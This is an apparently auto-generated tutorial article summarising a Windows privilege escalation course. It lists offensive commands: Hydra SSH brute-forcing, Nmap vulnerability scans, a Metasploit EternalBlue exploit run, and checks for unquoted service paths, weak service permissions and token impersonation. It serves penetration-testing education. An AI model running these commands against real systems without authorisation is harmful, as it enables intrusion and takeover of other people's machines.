Windows Privilege Escalation Course: Key Steps And Commands

In this article, we explore the initial steps of a Windows Privilege Escalation (PrivEsc) course, focusing on gaining a foothold and initial enumeration. Below, we provide practical commands and steps to help you understand and practice these concepts.

You Should Know:

1. Gaining a Foothold

Gaining a foothold is the first step in any penetration testing process. It involves exploiting a vulnerability to gain initial access to a target system. Here are some common techniques and commands:

Exploiting Weak Credentials:
```
hydra -l admin -P passwords.txt ssh://192.168.1.10
```
This command uses Hydra to brute-force SSH login with a list of passwords.
Exploiting Misconfigured Services:
```
nmap -sV --script vuln 192.168.1.10
```
Use Nmap to scan for vulnerable services on the target system.
Using Metasploit for Initial Access:
```
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
exploit
```
This example uses the EternalBlue exploit to gain access to a Windows machine.

2. Initial Enumeration

Once you have a foothold, the next step is to gather as much information as possible about the system. This is called enumeration.

Enumerating Users:
```
net user
```
This command lists all users on a Windows system.
Checking System Information:
```
systeminfo
```
Provides detailed information about the Windows system, including OS version and installed patches.
Enumerating Network Shares:
```
net share
```

Lists shared directories on the target machine.

Enumerating Running Processes:
```
tasklist
```

Displays all running processes on the system.

Checking for Unquoted Service Paths:
```
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows"
```
Identifies services with unquoted paths, which can be exploited for privilege escalation.

3. Privilege Escalation Techniques

After enumeration, you can use the gathered information to escalate privileges.

Exploiting Weak Service Permissions:
```
accesschk.exe -uwcqv "Authenticated Users" *
```
This command checks for services with weak permissions that can be modified by unprivileged users.
Using Windows Exploit Suggester:
```
python windows-exploit-suggester.py --database 2023-10-01-mssb.xls --systeminfo systeminfo.txt
```
This tool suggests potential exploits based on the system’s patch level.
Abusing Token Impersonation:
```
incognito.exe list_tokens -u
```
Lists available tokens that can be impersonated for privilege escalation.

What Undercode Say:

Windows Privilege Escalation is a critical skill in penetration testing. By mastering techniques like gaining a foothold, enumeration, and exploiting misconfigurations, you can effectively escalate privileges on a target system. Practice these commands and steps in a controlled environment to enhance your skills. For further learning, consider exploring resources like Hack The Box or TryHackMe.
